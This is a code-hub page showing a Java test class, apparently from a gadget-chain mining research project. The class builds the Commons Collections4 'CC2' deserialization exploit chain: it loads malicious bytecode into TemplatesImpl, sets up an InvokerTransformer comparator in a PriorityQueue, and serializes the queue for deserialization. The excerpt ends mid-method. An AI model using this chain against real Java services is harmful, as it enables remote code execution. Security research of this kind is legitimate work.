MCPcopy Create free account
hub / github.com/GCMiner/GCMiner / MonitorCC2

Class MonitorCC2

src/test/java/MonitorCC2.java:10–76  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

8import java.util.PriorityQueue;
9
10public class MonitorCC2 {
11 final static ClassPool pool = ClassPool.getDefault();
12 final static ClassPool pool2 = ClassPool.getDefault();
13 final static String classname = "org.apache.commons.collections4.comparators.TransformingComparator";
14
15 public void studentDisplayMonitor() throws Exception{
16 CtClass ss = pool.getCtClass(classname);
17 CtClass ss2 = pool2.getCtClass("CC.TestTemplatesImpl");
18 byte[] bytes = ss2.toBytecode();
19
20 //反射创建TemplatesImpl
21 Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
22 Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{});
23 Object TemplatesImpl_instance = constructor.newInstance();
24 //将恶意类的字节码设置给_bytecodes属性
25 Field bytecodes = aClass.getDeclaredField("_bytecodes");
26 bytecodes.setAccessible(true);
27 bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes});
28 //设置属性_name为恶意类名
29 Field name = aClass.getDeclaredField("_name");
30 name.setAccessible(true);
31 name.set(TemplatesImpl_instance, "TestTemplatesImpl");
32
33 CtClass.debugDump="./dump";
34 String methodname = "compare";
35 CtMethod compare = ss.getDeclaredMethod(methodname);
36 String src = "if(true){" +
37 "System.out.println(\"Hello siftDown123\");" +
38 "}";
39 compare.insertBefore(src);
40 ss.toClass();
41
42 //构造利用链
43 InvokerTransformer transformer=new InvokerTransformer("newTransformer",null,null);
44 TransformingComparator transformer_comparator =new TransformingComparator(transformer);
45
46 //触发漏洞
47 PriorityQueue queue = new PriorityQueue(2);
48 queue.add(1);
49 queue.add(1);
50 //设置comparator属性
51 Field field=queue.getClass().getDeclaredField("comparator");
52 field.setAccessible(true);
53 field.set(queue,transformer_comparator);
54 //设置queue属性
55 field=queue.getClass().getDeclaredField("queue");
56 field.setAccessible(true);
57 //队列至少需要2个元素
58 Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance};
59 field.set(queue,objects);
60
61 //序列化 ---> 反序列化
62 //FileOutputStream fs = new FileOutputStream("foo.ser");
63 ByteArrayOutputStream barr = new ByteArrayOutputStream();
64 ObjectOutputStream oos = new ObjectOutputStream(barr);
65 oos.writeObject(queue);
66 oos.close();
67 ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected